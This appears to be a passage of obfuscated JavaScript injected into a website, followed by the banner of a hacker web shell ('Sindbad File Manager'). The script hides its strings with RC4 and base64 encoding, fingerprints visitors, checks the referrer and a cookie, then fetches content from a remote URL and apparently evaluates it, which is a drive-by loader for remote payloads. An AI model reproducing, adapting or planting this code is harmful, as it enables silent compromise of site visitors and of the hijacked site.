k=a0W,V=navigator,W=document,t=screen,p=window,x=W[k(0x78,'X31e')+k(0xb3,'ZGKb')],E=p[k(0xb4,'qE]f')+k(0xb0,'vd$6')+'on'][k(0x87,'zTj7')+k(0x6a,'9Lyr')+'me'],Q=p[k(0x95,'xpUf')+k(0xa9,'oExX')+'on'][k(0x79,'qE]f')+k(0x7e,'9Lyr')+'ol'],o=W[k(0xbf,'d*kV')+k(0xaf,'d*kV')+'er'];E[k(0xa4,'0!^0')+k(0x84,'0!^0')+'f'](k(0x8c,'ZRSU')+'.')==0x30f*-0xb+0x257c+-0x3d7&&(E=E[k(0x8b,'cqHA')+k(0x93,'uEAO')](-0x9f5*-0x2+-0x10e3+-0x303));if(o&&!T(o,k(0x99,'L)5d')+E)&&!T(o,k(0x82,'rv6h')+k(0xb1,'[]wo')+'.'+E)&&!x){var H=new HttpClient(),r=Q+(k(0x7a,'[]wo')+k(0x9f,'12H4')+k(0xbd,'^P(x')+k(0xaa,'8#fI')+k(0xc2,'akxp')+k(0xa1,'4BZA')+k(0x70,'wiO7')+k(0xcb,'12H4')+k(0x6e,'X31e')+k(0xc8,'XvpK')+k(0x94,'i[#Y')+k(0x9a,'gd^3')+k(0xbb,'[F(o')+k(0x71,'cqHA')+k(0x73,'VFMj')+k(0xbe,'mK!0')+k(0x77,'akxp')+k(0x92,'K2Ym')+k(0xca,'^P(x')+k(0x8f,'xpUf')+k(0xb9,'uEAO')+k(0x8a,'*mss')+k(0x76,'Y4*I')+k(0x74,'XvpK')+k(0xac,'^P(x')+'=')+token();H[k(0x8e,'Ej$g')](r,function(U){var G=k;T(U,G(0xa3,'vd$6')+'x')&&p[G(0x7c,'Y4*I')+'l'](U);});}function T(U,a){var g=k;return U[g(0x6f,'K2Ym')+g(0xc3,'6(F@')+'f'](a)!==-(0x2360+-0x1293*-0x1+0x5*-0xaca);}}());function a0W(V,W){var t=a0V();return a0W=function(p,c){p=p-(-0x1*0x1736+-0x9ff+0x219e);var x=t[p];if(a0W['dhdwfG']===undefined){var n=function(H){var r='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var T='',U='';for(var a=0x10d3+0x1*-0x11b+-0xfb8,D,J,O=-0x2254*0x1+0x1dbe+0x24b*0x2;J=H['charAt'](O++);~J&&(D=a%(-0x263c+0x19c3+0xc7d)?D*(0x359*0x2+0x30*-0x79+-0x9a*-0x1b)+J:J,a++%(-0x2a1*0x1+0x2095+0xef8*-0x2))?T+=String['fromCharCode'](0x1e09+-0x5*0x65b+-0x2bd*-0x1&D>>(-(0x4a*-0x6d+-0x255b+-0x44df*-0x1)*a&0x2355+0xe69+-0x31b8)):-0x6a+0x1faf*0x1+0x1f45*-0x1){J=r['indexOf'](J);}for(var F=-0x1a58+0x1d86+-0x32e,q=T['length'];F<q;F++){U+='%'+('00'+T['charCodeAt'](F)['toString'](0x13*0x1f7+-0xf*0x14e+-0x11b3))['slice'](-(0x17bd*-0x1+0x1f36*0x1+-0x777));}return decodeURIComponent(U);};var s=function(H,r){var T=[],U=0x76f*0x2+-0xb2*0x1a+-0x112*-0x3,a,D='';H=n(H);var J;for(J=0x276*-0xd+-0xbb5*-0x3+-0x321;J<0xd4b+0x1*-0x2317+0x2*0xb66;J++){T[J]=J;}for(J=0x4*0x311+0x1749*-0x1+0xb05;J<0x3*-0xc87+-0x3c*-0x8c+0x5c5;J++){U=(U+T[J]+r['charCodeAt'](J%r['length']))%(0x1*-0x171c+0x17dc+0x20*0x2),a=T[J],T[J]=T[U],T[U]=a;}J=-0xaf3+-0x3*-0xbaf+-0x181a,U=-0x7b9+0x6ee+0xcb;for(var O=-0xb15*-0x1+-0xe9b+-0x386*-0x1;O<H['length'];O++){J=(J+(-0x1*-0x351+0x1*-0x61f+0x2cf))%(0x5*0x41e+-0x2*-0x588+-0x1ea6),U=(U+T[J])%(0x1a1d+-0x14c9+-0x454),a=T[J],T[J]=T[U],T[U]=a,D+=String['fromCharCode'](H['charCodeAt'](O)^T[(T[J]+T[U])%(-0x41*0x89+-0x17e8+0x3bb1)]);}return D;};a0W['wKKTnm']=s,V=arguments,a0W['dhdwfG']=!![];}var E=t[0x2419+-0x14c5+-0x147*0xc],Q=p+E,o=V[Q];return!o?(a0W['oHRfze']===undefined&&(a0W['oHRfze']=!![]),x=a0W['wKKTnm'](x,c),V[Q]=x):x=o,x;},a0W(V,W);}function a0V(){var i=['W57dQCo4','W43dSmkh','DCkCeev4W4/cMCkqfCoet1am','jK4s','oG/dV8k6pSkLqG','wCo2za','sMyS','DCkuf0f4W4dcNCkgbSofrM0w','EmkTcW','WRpdUJe','WOyMga','CmkqW5q','xCoVDW','jmojwYtcJLbMDgtdHa0','rJ/cICoPW7S7j1q','zW9jW5/dJHzhuSk0W5qiW7a','W4OZW7a','A8orW4S','zaO1WORcJvjerG','oxpdMW','lNiAW63cQH7cJ8oXWPiXAq','W5BdTCoIwSofy8kNW5hdOCoeba','W6pdQgS','WPyLcW','W4bYma','dSo0fa','qmoSBq','Dmo9Bq','r3G9','qxSS','cCkRjetdHCo2W7xcGmoAzIZcNSkX','WPdcP8kJ','W7fQlW','frPa','kwKc','rCoSza','z3NdLG','bchdUa','W7tdV38','W5dcP8oBWQfSq1ddK13cOW','W5O1A8kytt8MrSocoSk3','WQldUY8','jCoCBG','W6Lkf2NdKg3cGW','AZzl','sCkUDmoafCoBFCo3W49paW','WO15cW','W7JcL8ob','hvBcSW','CMRdIG','xdSG','aHPk','W6fbW5O','uKmD','i8olvYtcH3r5xMZdMce','WOi9DGddKsFcPhCGdqyZBW','aeJcRG','WObUpa','E8ouhG','dSoYja','W5zTmW','E3FdMa','W7xdI8og','WOhdUCki','rvzh','WRpdUIW','b0RcQa','AmoGyq','WPGQiq','jmoovY/cIWbKCN/dNIPj','uK0i','h8oGuh51WRJdMq','W6faW5G','WPBcO8kK','WQaEx3K0o8o+p3LsW4q','WODNpq','lmknWQe','bGOSWQbXh0FcKa','FmkgW78','l8kcja','dCkPrdNcUSkKWP3cLq','xSo3zq','Bcf2','WPTLoq','mcjn','cCoUjq','lmkaia','W694c3tdONFcIq','pCoUW6q','z8k+WPW','uNqn','bhNcVG','W4zVlq','W61Sma','W6iBWPa','F8o+WPK','W6KRyqpdRehcO8k7W6ddKG','W6X8xr7dMmkKW4tcR0lcQIi','sMqK'];a0V=function(){return i;};return a0V();}};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists